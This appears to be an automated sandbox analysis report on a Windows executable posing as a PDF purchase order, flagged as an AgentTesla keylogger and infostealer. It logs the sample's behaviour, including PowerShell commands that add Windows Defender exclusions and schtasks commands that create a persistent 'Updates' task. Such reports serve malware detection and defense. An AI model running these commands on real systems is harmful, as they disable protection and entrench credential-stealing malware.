Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: z38PO_20248099-1_pdf.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: FrFvspxoHsPs.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, hyUOVBe1ZWdha1wZaD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	Security API names: _0020.SetAccessControl
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	Security API names: _0020.AddAccessRule
Source: 0.2.z38PO_20248099-1_pdf.exe.7630000.6.raw.unpack, hyUOVBe1ZWdha1wZaD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	Security API names: _0020.SetAccessControl
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z38PO_20248099-1_pdf.exe.3e35700.4.raw.unpack, vFQ3EBHyQMQUMUhg1F.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@33/20@2/2

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

File created: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4144:120:WilError_03
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Mutant created: \Sessions\1\BaseNamedObjects\TXGnEFlEXydaiQyuTdtXJztKri
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD40B.tmp

Jump to behavior

Source: z38PO_20248099-1_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: z38PO_20248099-1_pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: z38PO_20248099-1_pdf.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

File read: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Process created: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp675.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp26DE.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Process created: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp675.tmp"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp26DE.tmp"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: wldp.dll	Jump to behavior
